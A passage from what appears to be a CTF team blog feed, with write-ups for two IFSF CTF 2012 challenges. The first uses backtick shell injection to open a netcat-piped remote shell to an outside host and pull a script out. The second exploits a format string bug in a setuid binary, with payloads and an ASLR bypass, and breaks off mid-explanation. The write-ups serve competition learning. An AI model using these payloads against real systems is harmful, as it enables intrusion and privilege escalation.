ololo,trololo,foo,..<span style="color: #000000; font-weight: bold;">/</span>..<span style="color: #000000; font-weight: bold;">/</span>..<span style="color: #000000; font-weight: bold;">/</span>..<span style="color: #000000; font-weight: bold;">/</span>..<span style="color: #000000; font-weight: bold;">/</span>..<span style="color: #000000; font-weight: bold;">/</span>etc<span style="color: #000000; font-weight: bold;">/</span><span style="color: #c20cb9; font-weight: bold;">passwd</span>,agent488
&nbsp;
&nbsp;
<span style="color: #000000; font-weight: bold;">&gt;</span> confirm
y<span style="color: #000000; font-weight: bold;">/</span>n ?
y
&nbsp;
Writing agent details at <span style="color: #c20cb9; font-weight: bold;">file</span> ..<span style="color: #000000; font-weight: bold;">/</span>..<span style="color: #000000; font-weight: bold;">/</span>..<span style="color: #000000; font-weight: bold;">/</span>..<span style="color: #000000; font-weight: bold;">/</span>..<span style="color: #000000; font-weight: bold;">/</span>..<span style="color: #000000; font-weight: bold;">/</span>etc<span style="color: #000000; font-weight: bold;">/</span><span style="color: #c20cb9; font-weight: bold;">passwd</span>,agent488 with success
&nbsp;
Confirmed</pre></div></div>

<p>Ok, that seems to work, but doesn&#8217;t give us anything, let&#8217;s put it aside and find some other vuln.</p>
<p>For example, one can try <a href="http://en.wikipedia.org/wiki/Code_injection#Shell_injection" title="Shell injection on Wikipedia">bash injection</a> using backticks:</p>

<div class="wp_syntax"><div class="code"><pre class="bash" style="font-family:monospace;"><span style="color: #000000; font-weight: bold;">&gt;</span> add <span style="color: #000000; font-weight: bold;">&lt;</span>ololo<span style="color: #000000; font-weight: bold;">&gt;</span> <span style="color: #000000; font-weight: bold;">&lt;</span>trololo<span style="color: #000000; font-weight: bold;">&gt;</span> <span style="color: #000000; font-weight: bold;">&lt;`</span><span style="color: #c20cb9; font-weight: bold;">sleep</span> <span style="color: #000000;">10</span><span style="color: #000000; font-weight: bold;">`&gt;</span>
&nbsp;
Agent Added <span style="color: #000000; font-weight: bold;">!</span>
&nbsp;
<span style="color: #000000; font-weight: bold;">&gt;</span> confirm
y<span style="color: #000000; font-weight: bold;">/</span>n ?
y
 <span style="color: #000000; font-weight: bold;">***</span> <span style="color: #000000;">10</span> seconds pass <span style="color: #000000; font-weight: bold;">***</span>
Writing agent details at <span style="color: #c20cb9; font-weight: bold;">file</span> agent6518 with success
&nbsp;
Confirmed</pre></div></div>

<p>w00t, that works! It&#8217;s really easy now to gain access, provided we have <a href="http://netcat.sourceforge.net/" title="Do you really not know what netcat is?" target="_blank">netcat</a> on the system :-)<br />
(their <strong>nc</strong> doesn&#8217;t support <strong>-e</strong> switch, so I had to use 2 connections)</p>

<div class="wp_syntax"><div class="code"><pre class="bash" style="font-family:monospace;"><span style="color: #000000; font-weight: bold;">&gt;</span> add <span style="color: #000000; font-weight: bold;">&lt;</span>q<span style="color: #000000; font-weight: bold;">&gt;</span> <span style="color: #000000; font-weight: bold;">&lt;</span>q<span style="color: #000000; font-weight: bold;">&gt;</span> <span style="color: #000000; font-weight: bold;">&lt;`</span>nc 123.1.2.3 <span style="color: #000000;">6666</span> <span style="color: #000000; font-weight: bold;">|</span> <span style="color: #c20cb9; font-weight: bold;">bash</span> <span style="color: #000000; font-weight: bold;">|</span> nc 123.1.2.3 <span style="color: #000000;">7777</span><span style="color: #000000; font-weight: bold;">`&gt;</span>
&nbsp;
Agent Added <span style="color: #000000; font-weight: bold;">!</span>
&nbsp;
<span style="color: #000000; font-weight: bold;">&gt;</span> confirm
y<span style="color: #000000; font-weight: bold;">/</span>n ?
y</pre></div></div>

<p><a href="http://leetmore.ctf.su/wp-content/uploads/2012/02/src.png"><img src="http://leetmore.ctf.su/wp-content/uploads/2012/02/src.png" alt="x98 - 2 connections" width="450" /></a></p>
<p>The flag is <strong>ecd8d4580d8c03271933060c3084a5b1</strong></p>
<h3>Bonus</h3>
<p>We also can download (and <em>modify</em>, due to poor permission settings) the service script itself.</p>

<div class="wp_syntax"><div class="code"><pre class="bash" style="font-family:monospace;"><span style="color: #c20cb9; font-weight: bold;">ls</span> <span style="color: #660033;">-la</span>
<span style="color: #660033;">-r-xrwxr-x</span> <span style="color: #000000;">1</span> x98  x98   <span style="color: #000000;">3773</span> Feb <span style="color: #000000;">11</span> <span style="color: #000000;">21</span>:<span style="color: #000000;">28</span> x.pl
nc 123.1.2.3 <span style="color: #000000;">5555</span> <span style="color: #000000; font-weight: bold;">&lt;</span> x.pl</pre></div></div>

<p>Here it is :) <a href="http://leetmore.ctf.su/wp-content/uploads/files/ifsf2012/x.pl">x.pl</a></p>
]]></content:encoded>
			<wfw:commentRss>http://leetmore.ctf.su/wp/ifsf-ctf-x98/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>IFSF CTF 2012 #9 &#8211; X97</title>
		<link>http://leetmore.ctf.su/wp/ifsf-ctf-2012-9-x97/</link>
		<comments>http://leetmore.ctf.su/wp/ifsf-ctf-2012-9-x97/#comments</comments>
		<pubDate>Mon, 13 Feb 2012 10:25:56 +0000</pubDate>
		<dc:creator>hellman</dc:creator>
				<category><![CDATA[Writeups]]></category>
		<category><![CDATA[2012]]></category>
		<category><![CDATA[aslr]]></category>
		<category><![CDATA[binary]]></category>
		<category><![CDATA[ctf]]></category>
		<category><![CDATA[elf]]></category>
		<category><![CDATA[exploit]]></category>
		<category><![CDATA[formatstring]]></category>
		<category><![CDATA[ifsf]]></category>
		<category><![CDATA[libformatstr]]></category>
		<category><![CDATA[nx]]></category>
		<category><![CDATA[python]]></category>
		<category><![CDATA[reverse]]></category>
		<category><![CDATA[setuid]]></category>
		<category><![CDATA[x97]]></category>

		<guid isPermaLink="false">http://leetmore.ctf.su/?p=2071</guid>
		<description><![CDATA[SSH : 208.64.122.235 guest:guest binary Category: exploitation Summary: format string bug, ASLR and NX Intro The binary is simple &#8211; it just prints any line from a given file. At first this challenge contained a hard version of binary: it dropped effective UID to guest, so we needed to make setuid(X79) before executing bash (we&#8230; <a class="continue_reading" href="http://leetmore.ctf.su/wp/ifsf-ctf-2012-9-x97/">Continue reading &#187;</a>]]></description>
			<content:encoded><![CDATA[<blockquote><p>SSH : 208.64.122.235<br />
guest:guest</p></blockquote>
<p><a href="http://leetmore.ctf.su/wp-content/uploads/files/ifsf2012/X79.tar.gz">binary</a></p>
<p><strong>Category:</strong> exploitation<br />
<strong>Summary:</strong> format string bug, ASLR and NX</p>
<p><span id="more-2071"></span></p>
<h2>Intro</h2>
<p>The binary is simple &#8211; it just prints any line from a given file.</p>
<p>At first this challenge contained a hard version of binary: it dropped <strong>effective UID</strong> to <strong>guest</strong>, so we needed to make <strong>setuid(X79)</strong> <em>before</em> executing bash (we could do it, because <strong>SAVED UID</strong> was <strong>X79</strong>).</p>
<p>But later organizers decided that it&#8217;s too hard and posted a new binary without dropping privs. Funny, but it allowed to print a flag directly from file:</p>

<div class="wp_syntax"><div class="code"><pre class="bash" style="font-family:monospace;">$ .<span style="color: #000000; font-weight: bold;">/</span>X79 FLAG_BABY
3V1L_D4NCE_X8</pre></div></div>

<p>It was the first flag. Later organizers added again a &#8220;hard&#8221; version. Here&#8217;s what we have:</p>

<div class="wp_syntax"><div class="code"><pre class="bash" style="font-family:monospace;">dr-------- <span style="color: #000000;">2</span> X79     X79      <span style="color: #000000;">4096</span> <span style="color: #000000;">2012</span>-02-<span style="color: #000000;">13</span> <span style="color: #000000;">12</span>:<span style="color: #000000;">27</span> FLAG
<span style="color: #660033;">-rwsr-xr-x</span> <span style="color: #000000;">1</span> X79     X79      <span style="color: #000000;">6457</span> <span style="color: #000000;">2012</span>-02-<span style="color: #000000;">13</span> <span style="color: #000000;">12</span>:<span style="color: #000000;">24</span> X79</pre></div></div>

<h2>Searching for bug</h2>
<p>Decompiled source is pretty easy:</p>

<div class="wp_syntax"><div class="code"><pre class="c" style="font-family:monospace;"><span style="color: #993333;">int</span> main<span style="color: #009900;">&#40;</span><span style="color: #993333;">int</span> argc<span style="color: #339933;">,</span> <span style="color: #993333;">char</span> <span style="color: #339933;">*</span> argv<span style="color: #339933;">;</span><span style="color: #009900;">&#41;</span> <span style="color: #009900;">&#123;</span>  
  <span style="color: #993333;">int</span> i<span style="color: #339933;">;</span>
  <span style="color: #993333;">char</span> s<span style="color: #009900;">&#91;</span><span style="color: #0000dd;">116</span><span style="color: #009900;">&#93;</span><span style="color: #339933;">;</span>
  FILE <span style="color: #339933;">*</span> fd<span style="color: #339933;">;</span>
&nbsp;
  seteuid<span style="color: #009900;">&#40;</span><span style="color: #0000dd;">502</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
&nbsp;
  <span style="color: #993333;">char</span> <span style="color: #339933;">*</span>format <span style="color: #339933;">=</span> <span style="color: #009900;">&#40;</span><span style="color: #993333;">char</span> <span style="color: #339933;">*</span><span style="color: #009900;">&#41;</span>malloc<span style="color: #009900;">&#40;</span>strlen<span style="color: #009900;">&#40;</span>argv<span style="color: #009900;">&#91;</span><span style="color: #0000dd;">0</span><span style="color: #009900;">&#93;</span><span style="color: #009900;">&#41;</span> <span style="color: #339933;">+</span> <span style="color: #0000dd;">400</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
  <span style="color: #b1b100;">if</span> <span style="color: #009900;">&#40;</span>argc <span style="color: #339933;">==</span> <span style="color: #0000dd;">2</span><span style="color: #009900;">&#41;</span> <span style="color: #009900;">&#123;</span>
    fd <span style="color: #339933;">=</span> fopen<span style="color: #009900;">&#40;</span>argv<span style="color: #009900;">&#91;</span><span style="color: #0000dd;">1</span><span style="color: #009900;">&#93;</span><span style="color: #339933;">,</span> <span style="color: #ff0000;">&quot;r&quot;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
    <span style="color: #b1b100;">if</span> <span style="color: #009900;">&#40;</span><span style="color: #339933;">!</span>fd<span style="color: #009900;">&#41;</span> exit<span style="color: #009900;">&#40;</span><span style="color: #0000dd;">0</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
    srand<span style="color: #009900;">&#40;</span>time<span style="color: #009900;">&#40;</span><span style="color: #0000dd;">0</span><span style="color: #009900;">&#41;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
    <span style="color: #b1b100;">for</span> <span style="color: #009900;">&#40;</span>i <span style="color: #339933;">=</span> rand<span style="color: #009900;">&#40;</span><span style="color: #009900;">&#41;</span> <span style="color: #339933;">%</span> <span style="color: #0000dd;">10</span> <span style="color: #339933;">+</span> <span style="color: #0000dd;">1</span><span style="color: #339933;">;</span> i <span style="color: #339933;">&amp;&amp;</span> fgets<span style="color: #009900;">&#40;</span><span style="color: #339933;">&amp;</span>s<span style="color: #339933;">,</span> <span style="color: #0000dd;">100</span><span style="color: #339933;">,</span> fdd<span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span> <span style="color: #339933;">--</span>i<span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
  <span style="color: #009900;">&#125;</span>
  <span style="color: #b1b100;">else</span> <span style="color: #b1b100;">if</span> <span style="color: #009900;">&#40;</span>argv <span style="color: #339933;">&lt;=</span> <span style="color: #0000dd;">2</span><span style="color: #009900;">&#41;</span> <span style="color: #009900;">&#123;</span>
      snprintf<span style="color: #009900;">&#40;</span>format<span style="color: #339933;">,</span> strlen<span style="color: #009900;">&#40;</span>format<span style="color: #009900;">&#41;</span> <span style="color: #339933;">-</span> <span style="color: #0000dd;">1</span><span style="color: #339933;">,</span> <span style="color: #ff0000;">&quot;Usage %s: filename [line]<span style="color: #000099; font-weight: bold;">\n</span>&quot;</span><span style="color: #339933;">,</span> argv<span style="color: #009900;">&#91;</span><span style="color: #0000dd;">0</span><span style="color: #009900;">&#93;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
      <span style="color: #000066;">printf</span><span style="color: #009900;">&#40;</span>format<span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
      exit<span style="color: #009900;">&#40;</span><span style="color: #0000dd;">0</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
  <span style="color: #009900;">&#125;</span>
  <span style="color: #b1b100;">else</span> <span style="color: #009900;">&#123;</span>
    fd <span style="color: #339933;">=</span> fopen<span style="color: #009900;">&#40;</span>argv<span style="color: #009900;">&#91;</span><span style="color: #0000dd;">1</span><span style="color: #009900;">&#93;</span><span style="color: #339933;">,</span> <span style="color: #ff0000;">&quot;r&quot;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
    <span style="color: #b1b100;">if</span> <span style="color: #009900;">&#40;</span><span style="color: #339933;">!</span>fd<span style="color: #009900;">&#41;</span>
      exit<span style="color: #009900;">&#40;</span><span style="color: #0000dd;">0</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
    <span style="color: #b1b100;">for</span> <span style="color: #009900;">&#40;</span>i <span style="color: #339933;">=</span> atoi<span style="color: #009900;">&#40;</span>argv<span style="color: #009900;">&#91;</span><span style="color: #0000dd;">2</span><span style="color: #009900;">&#93;</span><span style="color: #009900;">&#41;</span> <span style="color: #339933;">%</span> <span style="color: #0000dd;">10</span><span style="color: #339933;">;</span> i <span style="color: #339933;">&amp;&amp;</span> fgets<span style="color: #009900;">&#40;</span><span style="color: #339933;">&amp;</span>s<span style="color: #339933;">,</span> <span style="color: #0000dd;">100</span><span style="color: #339933;">,</span> fd<span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span> <span style="color: #339933;">--</span>i<span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
  <span style="color: #009900;">&#125;</span>
  <span style="color: #000066;">printf</span><span style="color: #009900;">&#40;</span><span style="color: #ff0000;">&quot;Quote of the day: %s&quot;</span><span style="color: #339933;">,</span> <span style="color: #339933;">&amp;</span>s<span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
  <span style="color: #b1b100;">return</span> <span style="color: #0000dd;">0</span><span style="color: #339933;">;</span>
<span style="color: #009900;">&#125;</span></pre></div></div>

<p>You see &#8211; here we have a <em>formatstring</em> vuln &#8211; format to <strong>printf</strong> is generated using <strong>argv[0]</strong>. Let&#8217;s check:</p>

<div class="wp_syntax"><div class="code"><pre class="bash" style="font-family:monospace;">$ <span style="color: #c20cb9; font-weight: bold;">ln</span> <span style="color: #660033;">-s</span> X79 <span style="color: #ff0000;">'%p%p%p%p'</span>
$ .<span style="color: #000000; font-weight: bold;">/%</span>p<span style="color: #000000; font-weight: bold;">%</span>p<span style="color: #000000; font-weight: bold;">%</span>p<span style="color: #000000; font-weight: bold;">%</span>p 
Usage .<span style="color: #000000; font-weight: bold;">/</span>0xffffffff0x80488f20xbf9a78dc0xb77f0ad0: filename <span style="color: #7a0874; font-weight: bold;">&#91;</span>line<span style="color: #7a0874; font-weight: bold;">&#93;</span></pre></div></div>

<p>Yeah it works!</p>
<h2>Looking around</h2>
<p>We have ASLR here, and the stack is NX. Well, ASLR is rather disturbing: we don&#8217;t have any data in <strong>main</strong>&#8216;s stackframe (our part of formatstring is in argv[0]), so argument numbers pointing to our data aren&#8217;t constant and have some variation. This problem can be solved by placing a lot of addresses in some ENV variable:</p>

<div class="wp_syntax"><div class="code"><pre class="bash" style="font-family:monospace;">$ <span style="color: #7a0874; font-weight: bold;">export</span> <span style="color: #007800;">ADDR</span>=<span style="color: #ff0000;">&quot;<span style="color: #780078;">`perl -e 'print &quot;A&quot;x8000 . &quot;B&quot;x8000 . &quot;1&quot;x8000 . &quot;2&quot;x8000;'`</span>&quot;</span></pre></div></div>

<p>So we can take 1000th argument, then the next is 3000th and so on. Most probably we&#8217;ll get into our addresses.</p>
<p>A good thing is that we have a neat trick to disable libc ASLR:</p>

<div class="wp_syntax"><div class="code"><pre class="bash" style="font-family:monospace;">$ <span style="color: #7a0874; font-weight: bold;">ulimit</span> <span style="color: #660033;">-s</span> unlimited
$ <span style="color: #c20cb9; font-weight: bold;">ldd</span> .<span style="color: #000000; font-weight: bold;">/</span>X79
	linux-gate.so.1 =<span style="color: #000000; font-weight: bold;">&gt;</span>  <span style="color: #7a0874; font-weight: bold;">&#40;</span>0x40020000<span style="color: #7a0874; font-weight: bold;">&#41;</span>
	libc.so.6 =<span style="color: #000000; font-weight: bold;">&gt;</span> <span style="color: #000000; font-weight: bold;">/</span>lib<span style="color: #000000; font-weight: bold;">/</span>i386-linux-gnu<span style="color: #000000; font-weight: bold;">/</span>libc.so.6 <span style="color: #7a0874; font-weight: bold;">&#40;</span>0x4003a000<span style="color: #7a0874; font-weight: bold;">&#41;</span>
	<span style="color: #000000; font-weight: bold;">/</span>lib<span style="color: #000000; font-weight: bold;">/</span>ld-linux.so.2 <span style="color: #7a0874; font-weight: bold;">&#40;</span>0x40000000<span style="color: #7a0874; font-weight: bold;">&#41;</span>
$ <span style="color: #c20cb9; font-weight: bold;">ldd</span> .<span style="color: #000000; font-weight: bold;">/</span>X79
	linux-gate.so.1 =<span style="color: #000000; font-weight: bold;">&gt;</span>  <span style="color: #7a0874; font-weight: bold;">&#40;</span>0x40020000<span style="color: #7a0874; font-weight: bold;">&#41;</span>
	libc.so.6 =<span style="color: #000000; font-weight: bold;">&gt;</span> <span style="color: #000000; font-weight: bold;">/</span>lib<span style="color: #000000; font-weight: bold;">/</span>i386-linux-gnu<span style="color: #000000; font-weight: bold;">/</span>libc.so.6 <span style="color: #7a0874; font-weight: bold;">&#40;</span>0x4003a000<span style="color: #7a0874; font-weight: bold;">&#41;</span>
	<span style="color: #000000; font-weight: bold;">/</span>lib<span style="color: #000000; font-weight: bold;">/</span>ld-linux.so.2 <span style="color: #7a0874; font-weight: bold;">&#40;</span>0x40000000<span style="color: #7a0874; font-weight: bold;">&#41;</span></pre></div></div>

<h2>Exploiting 1</h2>
<p>Let&#8217;s first try to launch a shell, without doing <strong>setuid(X79)</strong>. Luckily <strong>dynamic</strong> section is writable here, so we can use <strong>dynamic->.fini</strong>.</p>
<p>We can use this nice piece of code:</p>

<div class="wp_syntax"><div class="code"><pre class="asm" style="font-family:monospace;"><span style="color: #339933;">.</span>text<span style="color: #339933;">:</span>080487F7  <span style="color: #00007f; font-weight: bold;">mov</span>     <span style="color: #000000; font-weight: bold;">dword</span> <span style="color: #000000; font-weight: bold;">ptr</span> <span style="color: #009900; font-weight: bold;">&#91;</span><span style="color: #00007f;">esp</span><span style="color: #009900; font-weight: bold;">&#93;</span><span style="color: #339933;">,</span> <span style="color: #000000; font-weight: bold;">offset</span> aQuoteOfTheDayS <span style="color: #666666; font-style: italic;">; &quot;Quote of the day: %s&quot;</span>
<span style="color: #339933;">.</span>text<span style="color: #339933;">:</span>080487FE  <span style="color: #00007f; font-weight: bold;">call</span>    _printf</pre></div></div>

<p>The plan is to overwrite:</p>

<div class="wp_syntax"><div class="code"><pre class="c" style="font-family:monospace;">fini <span style="color: #339933;">-&gt;</span> 080487F7
<span style="color: #000066;">printf</span>@got <span style="color: #339933;">-&gt;</span> execl@libc</pre></div></div>

<p>For generating the payload, i&#8217;ll use a bit modified version of <a href="https://github.com/hellman/libformatstr">libformatstr</a>:</p>

<div class="wp_syntax"><div class="code"><pre class="python" style="font-family:monospace;"><span style="color: #808080; font-style: italic;">#$ objdump -d /lib/i386-linux-gnu/libc.so.6 | grep 'execl&gt;:'</span>
<span style="color: #808080; font-style: italic;">#0009bc20 &lt;execl&gt;:</span>
libc = 0x4003a000
execl = 0x009bc20 + libc
fini = 0x80499c0
printf_quote = 0x080487F7
got_printf = 0x8049A98
&nbsp;
p = FormatStr<span style="color: black;">&#40;</span><span style="color: #ff4500;">200</span><span style="color: black;">&#41;</span>
p<span style="color: black;">&#91;</span>fini<span style="color: black;">&#93;</span> = printf_quote
p<span style="color: black;">&#91;</span>got_printf<span style="color: black;">&#93;</span> = execl
&nbsp;
...</pre></div></div>

<p><a href="http://leetmore.ctf.su/wp-content/uploads/files/ifsf2012/easy_9.tar.gz">Full code</a></p>
<p>Also we need a wrapper to execute:</p>

<div class="wp_syntax"><div class="code"><pre class="c" style="font-family:monospace;"><span style="color: #666666; font-style: italic;">//gcc x.c -o x</span>
<span style="color: #993333;">int</span> main<span style="color: #009900;">&#40;</span><span style="color: #993333;">int</span> argc<span style="color: #339933;">,</span> <span style="color: #993333;">char</span> <span style="color: #339933;">**</span> argv<span style="color: #009900;">&#41;</span> <span style="color: #009900;">&#123;</span>
  execl<span style="color: #009900;">&#40;</span><span style="color: #ff0000;">&quot;./X79&quot;</span><span style="color: #339933;">,</span> argv<span style="color: #009900;">&#91;</span><span style="color: #0000dd;">1</span><span style="color: #009900;">&#93;</span><span style="color: #339933;">,</span> NULL<span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
<span style="color: #009900;">&#125;</span></pre></div></div>

<p>Here&#8217;s produced payload:</p>

<div class="wp_syntax"><div class="code"><pre class="bash" style="font-family:monospace;">$ py easy.py 
<span style="color: #7a0874; font-weight: bold;">export</span> <span style="color: #007800;">ADDR</span>=<span style="color: #ff0000;">&quot;<span style="color: #780078;">`perl -e 'print &quot;\xc2\x99\x04\x08&quot;x2000 . &quot;\x9a\x9a\x04\x08&quot;x2000 . &quot;\x98\x9a\x04\x08&quot;x2000 . &quot;\xc0\x99\x04\x08&quot;x2000;'`</span>&quot;</span>
.<span style="color: #000000; font-weight: bold;">/</span>x <span style="color: #ff0000;">'%2000$08xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx'</span>
.<span style="color: #000000; font-weight: bold;">/</span>x <span style="color: #ff0000;">'%2046c%2000$hn%14345c%4000$hn%7187c%6000$hn%11223c%8000$hnAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'</span></pre></div></div>

<p>Let&#8217;s try it:</p>

<div class="wp_syntax"><div class="code"><pre class="bash" style="font-family:monospace;">$ <span style="color: #c20cb9; font-weight: bold;">cat</span> <span style="color: #000000; font-weight: bold;">&gt;</span><span style="color: #ff0000;">'Quote of the day: %s'</span>
<span style="color: #666666; font-style: italic;">#!/bin/bash -p</span>
<span style="color: #c20cb9; font-weight: bold;">bash</span> <span style="color: #660033;">-p</span>
$ <span style="color: #c20cb9; font-weight: bold;">chmod</span> +x <span style="color: #ff0000;">'Quote of the day: %s'</span> 
$ <span style="color: #7a0874; font-weight: bold;">export</span> <span style="color: #007800;">PATH</span>=<span style="color: #ff0000;">&quot;.:<span style="color: #007800;">$PATH</span>&quot;</span>
$ <span style="color: #7a0874; font-weight: bold;">export</span> <span style="color: #007800;">ADDR</span>=<span style="color: #ff0000;">&quot;<span style="color: #780078;">`perl -e 'print &quot;\xc2\x99\x04\x08&quot;x2000 . &quot;\x9a\x9a\x04\x08&quot;x2000 . &quot;\x98\x9a\x04\x08&quot;x2000 . &quot;\xc0\x99\x04\x08&quot;x2000;'`</span>&quot;</span>xx  <span style="color: #666666; font-style: italic;"># added xx because of wrong padding</span>
$ .<span style="color: #000000; font-weight: bold;">/</span>x <span style="color: #ff0000;">'%2000$08xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx'</span>
Usage 080499c2xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx: filename <span style="color: #7a0874; font-weight: bold;">&#91;</span>line<span style="color: #7a0874; font-weight: bold;">&#93;</span>
$ .<span style="color: #000000; font-weight: bold;">/</span>x <span style="color: #ff0000;">'%2046c%2000$hn%14345c%4000$hn%7187c%6000$hn%11223c%8000$hnAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'</span>
bash-<span style="color: #000000;">4.2</span>$ <span style="color: #c20cb9; font-weight: bold;">id</span>
<span style="color: #007800;">uid</span>=<span style="color: #000000;">502</span><span style="color: #7a0874; font-weight: bold;">&#40;</span>guest<span style="color: #7a0874; font-weight: bold;">&#41;</span> <span style="color: #007800;">gid</span>=<span style="color: #000000;">502</span><span style="color: #7a0874; font-weight: bold;">&#40;</span>guest<span style="color: #7a0874; font-weight: bold;">&#41;</span> <span style="color: #007800;">groups</span>=<span style="color: #000000;">502</span><span style="color: #7a0874; font-weight: bold;">&#40;</span>guest<span style="color: #7a0874; font-weight: bold;">&#41;</span></pre></div></div>

<p>Oh, we did it! But privs are dropped.. Funny, there was an easy way to avoid this.<br />
We could exploit easy version, which doesn&#8217;t drop privs and get UID=X97 (or even easier, there was another account added by organizers: guest2 (why??)).<br />
So, the X79 binary wouldn&#8217;t be able to change seteuid to guest (because we are not guest). And we&#8217;ll get a good shell:</p>

<div class="wp_syntax"><div class="code"><pre class="bash" style="font-family:monospace;">$ .<span style="color: #000000; font-weight: bold;">/</span>x <span style="color: #ff0000;">'%2046c%2000$hn%14345c%4000$hn%7187c%6000$hn%11223c%8000$hnAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA'</span>
bash-<span style="color: #000000;">4.2</span>$ <span style="color: #c20cb9; font-weight: bold;">id</span>
<span style="color: #007800;">uid</span>=<span style="color: #000000;">504</span><span style="color: #7a0874; font-weight: bold;">&#40;</span>guest2<span style="color: #7a0874; font-weight: bold;">&#41;</span> <span style="color: #007800;">gid</span>=<span style="color: #000000;">504</span><span style="color: #7a0874; font-weight: bold;">&#40;</span>guest2<span style="color: #7a0874; font-weight: bold;">&#41;</span> <span style="color: #007800;">euid</span>=<span style="color: #000000;">503</span><span style="color: #7a0874; font-weight: bold;">&#40;</span>X79<span style="color: #7a0874; font-weight: bold;">&#41;</span> <span style="color: #007800;">groups</span>=<span style="color: #000000;">503</span><span style="color: #7a0874; font-weight: bold;">&#40;</span>X79<span style="color: #7a0874; font-weight: bold;">&#41;</span></pre></div></div>

<p>Ok, not let&#8217;s try to solve it in a right way.</p>
<h2>Exploiting 2</h2>
<p>It&#8217;s supposed that we need to set uid/euid before calling execl. We can try to find ways to call <strong>mprotect</strong> and run shellcode, but there&#8217;s another tricky way:</p>

<div class="wp_syntax"><div class="code"><pre class="asm" style="font-family:monospace;"><span style="color: #339933;">.</span>text<span style="color: #339933;">:</span><span style="color: #0000ff;">08048631</span>  <span style="color: #00007f; font-weight: bold;">mov</span>     <span style="color: #000000; font-weight: bold;">dword</span> <span style="color: #000000; font-weight: bold;">ptr</span> <span style="color: #009900; font-weight: bold;">&#91;</span><span style="color: #00007f;">esp</span><span style="color: #009900; font-weight: bold;">&#93;</span><span style="color: #339933;">,</span> <span style="color: #0000ff;">0</span> <span style="color: #666666; font-style: italic;">; timer</span>
<span style="color: #339933;">.</span>text<span style="color: #339933;">:</span><span style="color: #0000ff;">08048638</span>  <span style="color: #00007f; font-weight: bold;">call</span>    _time
<span style="color: #339933;">.</span>text<span style="color: #339933;">:</span>0804863D  <span style="color: #00007f; font-weight: bold;">mov</span>     <span style="color: #009900; font-weight: bold;">&#91;</span><span style="color: #00007f;">esp</span><span style="color: #009900; font-weight: bold;">&#93;</span><span style="color: #339933;">,</span> <span style="color: #00007f;">eax</span>      <span style="color: #666666; font-style: italic;">; seed</span>
<span style="color: #339933;">.</span>text<span style="color: #339933;">:</span><span style="color: #0000ff;">08048640</span>  <span style="color: #00007f; font-weight: bold;">call</span>    _srand
<span style="color: #339933;">.</span>text<span style="color: #339933;">:</span><span style="color: #0000ff;">08048645</span>  <span style="color: #00007f; font-weight: bold;">call</span>    _rand</pre></div></div>

<p>Just a simple piece of code, isn&#8217;t it? :)<br />
Hehe, we can use it to make setuid(503) and execl(&#8220;Quote of the day: %s&#8221;):<br />
It&#8217;s easy to see that <strong>srand</strong>&#8216;s argument is a result of <strong>time(0)</strong>. If we can control <strong>time(0)</strong>, we can change <strong>srand</strong> to <strong>setuid</strong> and <strong>rand</strong> to <strong>printf_quote</strong>.</p>
<p>But what libc function&#8217;s result we can control, assuming its argument is 0? A good choice is <strong>dup(0)</strong>: we can open 502 descriptors, and <strong>dup(0)</strong> will return 503 after that.</p>
<p>So, the plan is to overwrite:</p>

<div class="wp_syntax"><div class="code"><pre class="c" style="font-family:monospace;">time@got <span style="color: #339933;">-&gt;</span> dup@libc
srand@got <span style="color: #339933;">-&gt;</span> setuid@libc
rand@got <span style="color: #339933;">-&gt;</span> printf_quote
fini <span style="color: #339933;">-&gt;</span> <span style="color: #208080;">0x080487F0</span>  <span style="color: #339933;">&lt;-</span> also make the second argument valid pointer
